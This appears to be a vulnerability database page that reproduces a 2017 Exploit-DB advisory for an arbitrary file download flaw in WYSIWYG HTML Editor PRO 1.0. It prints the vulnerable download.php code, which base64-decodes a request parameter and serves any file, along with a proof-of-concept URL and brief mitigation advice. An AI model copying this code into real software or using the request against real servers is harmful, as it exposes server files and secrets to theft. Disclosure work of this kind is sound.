WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download

vendor:

WYSIWYG HTML Editor PRO

by:

Ihsan Sencan

7,5

CVSS

HIGH

Arbitrary File Download

434

CWE

Product Name: WYSIWYG HTML Editor PRO

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:nelliwinne:wysiwyg_html_editor_pro

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2017

WYSIWYG HTML Editor PRO 1.0 – Arbitrary File Download

The security obligation allows an attacker to arbitrary download files. The vulnerable source code allows an attacker to access any file on the server by encoding the file name in base64 and passing it as a parameter to the download.php file.

Mitigation:

Ensure that the download.php file is not accessible to the public and that the file name is properly sanitized before being passed as a parameter.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Link: https://codecanyon.net/item/wysiwyg-html-editor-pro-php-based-editor-with-image-uploader-and-more/19012022
# Demo: http://codecanyon.nelliwinne.net/WYSIWYGEditorPRO/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
#
# .............
# <?php
# $file = base64_decode($_GET['id']);
# 
# if (file_exists($file)) {
#     header('Content-Description: File Transfer');
#     header('Content-Type: application/octet-stream');
#     header('Content-Disposition: attachment; filename="'.basename($file).'"');
#     header('Expires: 0');
#     header('Cache-Control: must-revalidate');
#     header('Pragma: public');
#     header('Content-Length: ' . filesize($file));
#     readfile($file);
#     exit;
# }
# ?>
# .............
# Proof of Concept:
#
# http://localhost/[PATH]/wysiwyg/download.php?id=[FILENAME_to_BASE64]
# 
# Etc...
# # # # #